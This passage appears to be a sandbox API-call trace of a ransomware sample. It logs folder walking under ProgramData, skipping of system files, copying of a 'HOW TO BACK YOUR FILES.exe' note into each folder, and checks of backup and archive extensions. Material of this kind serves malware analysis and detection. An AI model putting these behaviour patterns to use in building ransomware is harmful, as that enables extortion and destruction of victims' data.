YOUR FILES.exe") returned -1 [0098.245] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0098.245] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0098.245] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0098.245] FindNextFileW (in: hFindFile=0x529590, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc48100c0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc48100c0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0098.245] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0098.245] FindNextFileW (in: hFindFile=0x529590, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd6e33921, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Outbound", cAlternateFileName="")) returned 1 [0098.245] lstrcmpiW (lpString1="Outbound", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0098.245] lstrcmpiW (lpString1="Outbound", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0098.246] lstrcmpiW (lpString1="Outbound", lpString2=".") returned 1 [0098.246] lstrcmpiW (lpString1="Outbound", lpString2="..") returned 1 [0098.246] lstrcmpiW (lpString1="Outbound", lpString2="windows") returned -1 [0098.246] lstrcmpiW (lpString1="Outbound", lpString2="bootmgr") returned 1 [0098.246] lstrcmpiW (lpString1="Outbound", lpString2="temp") returned -1 [0098.246] lstrcmpiW (lpString1="Outbound", lpString2="pagefile.sys") returned -1 [0098.246] lstrcmpiW (lpString1="Outbound", lpString2="boot") returned 1 [0098.246] lstrcmpiW (lpString1="Outbound", lpString2="ids.txt") returned 1 [0098.246] lstrcmpiW (lpString1="Outbound", lpString2="ntuser.dat") returned 1 [0098.246] lstrcmpiW (lpString1="Outbound", lpString2="perflogs") returned -1 [0098.246] lstrcmpiW (lpString1="Outbound", lpString2="MSBuild") returned 1 [0098.246] lstrlenW (lpString="Outbound") returned 8 [0098.246] lstrcpyW (in: lpString1=0x241e882, lpString2="Outbound" | out: lpString1="Outbound") returned="Outbound" [0098.246] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x530cb0 [0098.246] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x4c) returned 0x5164d0 [0098.246] lstrcatW (in: lpString1="Outbound", lpString2="\\" | out: lpString1="Outbound\\") returned="Outbound\\" [0098.246] lstrcatW (in: lpString1="Outbound\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Outbound\\HOW TO BACK YOUR FILES.exe") returned="Outbound\\HOW TO BACK YOUR FILES.exe" [0098.246] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Microsoft\\RAC\\Outbound\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\microsoft\\rac\\outbound\\how to back your files.exe"), bFailIfExists=1) returned 1 [0098.248] FindNextFileW (in: hFindFile=0x529590, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xad8a95c0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xad8a95c0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PublishedData", cAlternateFileName="PUBLIS~1")) returned 1 [0098.248] lstrcmpiW (lpString1="PublishedData", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0098.248] lstrcmpiW (lpString1="PublishedData", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0098.249] lstrcmpiW (lpString1="PublishedData", lpString2=".") returned 1 [0098.249] lstrcmpiW (lpString1="PublishedData", lpString2="..") returned 1 [0098.249] lstrcmpiW (lpString1="PublishedData", lpString2="windows") returned -1 [0098.249] lstrcmpiW (lpString1="PublishedData", lpString2="bootmgr") returned 1 [0098.249] lstrcmpiW (lpString1="PublishedData", lpString2="temp") returned -1 [0098.249] lstrcmpiW (lpString1="PublishedData", lpString2="pagefile.sys") returned 1 [0098.249] lstrcmpiW (lpString1="PublishedData", lpString2="boot") returned 1 [0098.249] lstrcmpiW (lpString1="PublishedData", lpString2="ids.txt") returned 1 [0098.249] lstrcmpiW (lpString1="PublishedData", lpString2="ntuser.dat") returned 1 [0098.249] lstrcmpiW (lpString1="PublishedData", lpString2="perflogs") returned 1 [0098.249] lstrcmpiW (lpString1="PublishedData", lpString2="MSBuild") returned 1 [0098.249] lstrlenW (lpString="PublishedData") returned 13 [0098.249] lstrcpyW (in: lpString1=0x241e882, lpString2="PublishedData" | out: lpString1="PublishedData") returned="PublishedData" [0098.249] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x530c08 [0098.249] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x56) returned 0x52fce0 [0098.249] lstrcatW (in: lpString1="PublishedData", lpString2="\\" | out: lpString1="PublishedData\\") returned="PublishedData\\" [0098.249] lstrcatW (in: lpString1="PublishedData\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="PublishedData\\HOW TO BACK YOUR FILES.exe") returned="PublishedData\\HOW TO BACK YOUR FILES.exe" [0098.249] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Microsoft\\RAC\\PublishedData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\microsoft\\rac\\publisheddata\\how to back your files.exe"), bFailIfExists=1) returned 1 [0098.251] FindNextFileW (in: hFindFile=0x529590, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xad8a95c0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xad8a95c0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="StateData", cAlternateFileName="STATED~1")) returned 1 [0098.251] lstrcmpiW (lpString1="StateData", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0098.251] lstrcmpiW (lpString1="StateData", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0098.251] lstrcmpiW (lpString1="StateData", lpString2=".") returned 1 [0098.251] lstrcmpiW (lpString1="StateData", lpString2="..") returned 1 [0098.252] lstrcmpiW (lpString1="StateData", lpString2="windows") returned -1 [0098.252] lstrcmpiW (lpString1="StateData", lpString2="bootmgr") returned 1 [0098.252] lstrcmpiW (lpString1="StateData", lpString2="temp") returned -1 [0098.252] lstrcmpiW (lpString1="StateData", lpString2="pagefile.sys") returned 1 [0098.252] lstrcmpiW (lpString1="StateData", lpString2="boot") returned 1 [0098.252] lstrcmpiW (lpString1="StateData", lpString2="ids.txt") returned 1 [0098.252] lstrcmpiW (lpString1="StateData", lpString2="ntuser.dat") returned 1 [0098.252] lstrcmpiW (lpString1="StateData", lpString2="perflogs") returned 1 [0098.252] lstrcmpiW (lpString1="StateData", lpString2="MSBuild") returned 1 [0098.252] lstrlenW (lpString="StateData") returned 9 [0098.252] lstrcpyW (in: lpString1=0x241e882, lpString2="StateData" | out: lpString1="StateData") returned="StateData" [0098.252] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x530bf0 [0098.252] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x4e) returned 0x516478 [0098.252] lstrcatW (in: lpString1="StateData", lpString2="\\" | out: lpString1="StateData\\") returned="StateData\\" [0098.252] lstrcatW (in: lpString1="StateData\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="StateData\\HOW TO BACK YOUR FILES.exe") returned="StateData\\HOW TO BACK YOUR FILES.exe" [0098.252] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Microsoft\\RAC\\StateData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\microsoft\\rac\\statedata\\how to back your files.exe"), bFailIfExists=1) returned 1 [0098.254] FindNextFileW (in: hFindFile=0x529590, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xad98de00, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xad98de00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Temp", cAlternateFileName="")) returned 1 [0098.254] lstrcmpiW (lpString1="Temp", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0098.254] lstrcmpiW (lpString1="Temp", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0098.254] lstrcmpiW (lpString1="Temp", lpString2=".") returned 1 [0098.254] lstrcmpiW (lpString1="Temp", lpString2="..") returned 1 [0098.254] lstrcmpiW (lpString1="Temp", lpString2="windows") returned -1 [0098.254] lstrcmpiW (lpString1="Temp", lpString2="bootmgr") returned 1 [0098.254] lstrcmpiW (lpString1="Temp", lpString2="temp") returned 0 [0098.254] FindNextFileW (in: hFindFile=0x529590, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xad98de00, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xad98de00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Temp", cAlternateFileName="")) returned 0 [0098.255] FindClose (in: hFindFile=0x529590 | out: hFindFile=0x529590) returned 1 [0098.255] ReleaseMutex (hMutex=0xec) returned 1 [0098.255] CloseHandle (hObject=0xec) returned 1 [0098.255] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\ProgramData\\Microsoft\\Search" | out: lpString1="C:\\ProgramData\\Microsoft\\Search") returned="C:\\ProgramData\\Microsoft\\Search" [0098.255] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50f910 | out: hHeap=0x4f0000) returned 1 [0098.255] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530cc8 | out: hHeap=0x4f0000) returned 1 [0098.255] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Search") returned 31 [0098.255] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\E3D25DAD54E8432039E89EADB0F03ED0") returned 0xec [0098.255] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0098.255] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Microsoft\\Search" | out: lpString1="C:\\ProgramData\\Microsoft\\Search") returned="C:\\ProgramData\\Microsoft\\Search" [0098.255] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0098.255] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Microsoft\\Search\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\microsoft\\search\\how to back your files.exe"), bFailIfExists=1) returned 0 [0098.256] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Search\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\microsoft\\search\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0098.256] GetLastError () returned 0x0 [0098.256] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0098.256] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x53edd0 [0098.256] ReadFile (in: hFile=0xf4, lpBuffer=0x53edd0, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x53edd0*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0098.257] CloseHandle (hObject=0xf4) returned 1 [0098.257] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53edd0 | out: hHeap=0x4f0000) returned 1 [0098.257] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0098.257] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Search\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27df8b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc4836220, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc4836220, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529590 [0098.257] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0098.257] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0098.257] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0098.257] FindNextFileW (in: hFindFile=0x529590, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27df8b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc4836220, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc4836220, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0098.257] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0098.257] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0098.257] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0098.257] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0098.257] FindNextFileW (in: hFindFile=0x529590, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27df8b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27e6af80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27e6af80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Data", cAlternateFileName="")) returned 1 [0098.257] lstrcmpiW (lpString1="Data", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0098.257] lstrcmpiW (lpString1="Data", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0098.258] lstrcmpiW (lpString1="Data", lpString2=".") returned 1 [0098.258] lstrcmpiW (lpString1="Data", lpString2="..") returned 1 [0098.258] lstrcmpiW (lpString1="Data", lpString2="windows") returned -1 [0098.258] lstrcmpiW (lpString1="Data", lpString2="bootmgr") returned 1 [0098.258] lstrcmpiW (lpString1="Data", lpString2="temp") returned -1 [0098.258] lstrcmpiW (lpString1="Data", lpString2="pagefile.sys") returned -1 [0098.258] lstrcmpiW (lpString1="Data", lpString2="boot") returned 1 [0098.258] lstrcmpiW (lpString1="Data", lpString2="ids.txt") returned -1 [0098.258] lstrcmpiW (lpString1="Data", lpString2="ntuser.dat") returned -1 [0098.258] lstrcmpiW (lpString1="Data", lpString2="perflogs") returned -1 [0098.258] lstrcmpiW (lpString1="Data", lpString2="MSBuild") returned -1 [0098.258] lstrlenW (lpString="Data") returned 4 [0098.258] lstrcpyW (in: lpString1=0x241e888, lpString2="Data" | out: lpString1="Data") returned="Data" [0098.258] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x530cc8 [0098.258] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x4a) returned 0x516420 [0098.258] lstrcatW (in: lpString1="Data", lpString2="\\" | out: lpString1="Data\\") returned="Data\\" [0098.258] lstrcatW (in: lpString1="Data\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Data\\HOW TO BACK YOUR FILES.exe") returned="Data\\HOW TO BACK YOUR FILES.exe" [0098.258] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Microsoft\\Search\\Data\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\microsoft\\search\\data\\how to back your files.exe"), bFailIfExists=1) returned 1 [0098.260] FindNextFileW (in: hFindFile=0x529590, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc48100c0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc48100c0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0098.260] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0098.260] FindNextFileW (in: hFindFile=0x529590, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc48100c0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc48100c0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0 [0098.260] FindClose (in: hFindFile=0x529590 | out: hFindFile=0x529590) returned 1 [0098.260] ReleaseMutex (hMutex=0xec) returned 1 [0098.261] CloseHandle (hObject=0xec) returned 1 [0098.261] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\ProgramData\\Microsoft\\User Account Pictures" | out: lpString1="C:\\ProgramData\\Microsoft\\User Account Pictures") returned="C:\\ProgramData\\Microsoft\\User Account Pictures" [0098.261] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x524088 | out: hHeap=0x4f0000) returned 1 [0098.261] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530ce0 | out: hHeap=0x4f0000) returned 1 [0098.261] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\User Account Pictures") returned 46 [0098.261] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\4CDF7B94D5B6D2CC8EFB966C152B26CD") returned 0xec [0098.261] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0098.261] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Microsoft\\User Account Pictures" | out: lpString1="C:\\ProgramData\\Microsoft\\User Account Pictures") returned="C:\\ProgramData\\Microsoft\\User Account Pictures" [0098.261] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0098.261] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\microsoft\\user account pictures\\how to back your files.exe"), bFailIfExists=1) returned 0 [0098.261] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\microsoft\\user account pictures\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0098.262] GetLastError () returned 0x0 [0098.262] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0098.262] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x53edd0 [0098.262] ReadFile (in: hFile=0xf4, lpBuffer=0x53edd0, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x53edd0*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0098.263] CloseHandle (hObject=0xf4) returned 1 [0098.263] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53edd0 | out: hHeap=0x4f0000) returned 1 [0098.263] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0098.263] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc4836220, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc4836220, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529590 [0098.263] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0098.263] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0098.263] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0098.263] FindNextFileW (in: hFindFile=0x529590, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc4836220, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc4836220, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0098.263] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0098.263] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0098.263] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0098.263] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0098.263] FindNextFileW (in: hFindFile=0x529590, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x29423840, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29423840, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29423840, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz.dat", cAlternateFileName="5P5NRG~1.DAT")) returned 1 [0098.263] lstrcmpiW (lpString1="5p5NrGJn0jS HALPmcxz.dat", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0098.263] lstrcmpiW (lpString1="5p5NrGJn0jS HALPmcxz.dat", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0098.263] lstrcmpiW (lpString1="5p5NrGJn0jS HALPmcxz.dat", lpString2=".") returned 1 [0098.264] lstrcmpiW (lpString1="5p5NrGJn0jS HALPmcxz.dat", lpString2="..") returned 1 [0098.264] lstrcmpiW (lpString1="5p5NrGJn0jS HALPmcxz.dat", lpString2="windows") returned -1 [0098.264] lstrcmpiW (lpString1="5p5NrGJn0jS HALPmcxz.dat", lpString2="bootmgr") returned -1 [0098.264] lstrcmpiW (lpString1="5p5NrGJn0jS HALPmcxz.dat", lpString2="temp") returned -1 [0098.264] lstrcmpiW (lpString1="5p5NrGJn0jS HALPmcxz.dat", lpString2="pagefile.sys") returned -1 [0098.264] lstrcmpiW (lpString1="5p5NrGJn0jS HALPmcxz.dat", lpString2="boot") returned -1 [0098.264] lstrcmpiW (lpString1="5p5NrGJn0jS HALPmcxz.dat", lpString2="ids.txt") returned -1 [0098.264] lstrcmpiW (lpString1="5p5NrGJn0jS HALPmcxz.dat", lpString2="ntuser.dat") returned -1 [0098.264] lstrcmpiW (lpString1="5p5NrGJn0jS HALPmcxz.dat", lpString2="perflogs") returned -1 [0098.264] lstrcmpiW (lpString1="5p5NrGJn0jS HALPmcxz.dat", lpString2="MSBuild") returned -1 [0098.264] lstrlenW (lpString="5p5NrGJn0jS HALPmcxz.dat") returned 24 [0098.264] lstrcpyW (in: lpString1=0x241e8a6, lpString2="5p5NrGJn0jS HALPmcxz.dat" | out: lpString1="5p5NrGJn0jS HALPmcxz.dat") returned="5p5NrGJn0jS HALPmcxz.dat" [0098.264] lstrlenW (lpString="5p5NrGJn0jS HALPmcxz.dat") returned 24 [0098.264] lstrlenW (lpString="Athena865") returned 9 [0098.264] lstrcmpiW (lpString1="Pmcxz.dat", lpString2="Athena865") returned 1 [0098.264] lstrlenW (lpString=".dll") returned 4 [0098.264] lstrcmpiW (lpString1="5p5NrGJn0jS HALPmcxz.dat", lpString2=".dll") returned 1 [0098.264] lstrlenW (lpString=".lnk") returned 4 [0098.264] lstrcmpiW (lpString1="5p5NrGJn0jS HALPmcxz.dat", lpString2=".lnk") returned 1 [0098.264] lstrlenW (lpString=".ini") returned 4 [0098.264] lstrcmpiW (lpString1="5p5NrGJn0jS HALPmcxz.dat", lpString2=".ini") returned 1 [0098.264] lstrlenW (lpString=".sys") returned 4 [0098.264] lstrcmpiW (lpString1="5p5NrGJn0jS HALPmcxz.dat", lpString2=".sys") returned 1 [0098.264] lstrlenW (lpString="5p5NrGJn0jS HALPmcxz.dat") returned 24 [0098.264] lstrlenW (lpString="bak") returned 3 [0098.264] lstrcmpiW (lpString1="dat", lpString2="bak") returned 1 [0098.264] lstrlenW (lpString="ba_") returned 3 [0098.264] lstrcmpiW (lpString1="dat", lpString2="ba_") returned 1 [0098.264] lstrlenW (lpString="dbb") returned 3 [0098.265] lstrcmpiW (lpString1="dat", lpString2="dbb") returned -1 [0098.265] lstrlenW (lpString="vmdk") returned 4 [0098.265] lstrcmpiW (lpString1=".dat", lpString2="vmdk") returned -1 [0098.265] lstrlenW (lpString="rar") returned 3 [0098.265] lstrcmpiW (lpString1="dat", lpString2="rar") returned -1 [0098.265] lstrlenW (lpString="zip") returned 3 [0098.265] lstrcmpiW (lpString1="dat", lpString2="zip") returned -1 [0098.265] lstrlenW (lpString="tgz") returned 3 [0098.265] lstrcmpiW (lpString1="dat", lpString2="tgz") returned -1 [0098.265] lstrlenW 